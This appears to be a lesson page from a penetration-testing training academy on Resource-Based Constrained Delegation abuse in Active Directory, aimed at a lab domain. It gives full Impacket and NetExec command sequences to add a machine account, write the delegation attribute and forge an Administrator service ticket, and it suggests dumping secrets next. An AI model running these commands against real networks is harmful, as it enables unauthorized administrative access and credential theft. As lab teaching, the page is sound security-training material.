← Back to Academy

Academy Node

Resource-Based Constrained Delegation

RBCD lets a controlled machine account impersonate users to a target computer when msDS-AllowedToActOnBehalfOfOtherIdentity is writable.

Advanced100 XPActive Directory

Why it matters

It can provide local admin-style access to a computer without knowing the target user's password.

How to identify it

  • GenericWrite, GenericAll, or WriteDACL over computer.
  • MachineAccountQuota allows adding a computer.
  • BloodHound path to computer object abuse.

BloodHound indicators

  • GenericWrite to Computer
  • GenericAll to Computer
  • AllowedToAct edges

NetExec commands

nxc smb 192.168.184.141 -d xutslabs.local -u ba_low -p 'Password123'

Impacket commands

impacket-addcomputer xutslabs.local/ba_low:'Password123' -computer-name EVIL01$ -computer-pass 'Str0ng3st_P@ssw0rd!' -dc-ip 192.168.184.141
impacket-rbcd xutslabs.local/ba_low:'Password123' -delegate-from EVIL01$ -delegate-to TARGET$ -action write -dc-ip 192.168.184.141
impacket-getST xutslabs.local/EVIL01$:'Str0ng3st_P@ssw0rd!' -spn cifs/TARGET.xutslabs.local -impersonate Administrator -dc-ip 192.168.184.141

PowerView commands

Get-DomainComputer TARGET -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

Linux commands

export KRB5CCNAME=Administrator@cifs_TARGET.xutslabs.local@XUTSLABS.LOCAL.ccache

Expected output

  • Service ticket ccache for impersonated Administrator.

Success looks like

  • Kerberos-auth SMB access to target as Administrator.

Failure looks like

  • KDC_ERR_BADOPTION
  • Access denied writing RBCD attribute.
  • SPN mismatch.

Troubleshooting

  • Use FQDN SPN.
  • Sync time.
  • Add /etc/hosts entry.
  • Confirm machine account exists.

Common mistakes

  • Wrong SPN.
  • Bad DNS.
  • Forgetting KRB5CCNAME.
  • Using NTLM when Kerberos is required.

Alternative attacks

  • Shadow Credentials
  • Password reset
  • GPO abuse

What to try next

  • Use ticket with psexec, wmiexec, or smbexec.
  • Dump local secrets.
  • Look for DA paths.

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.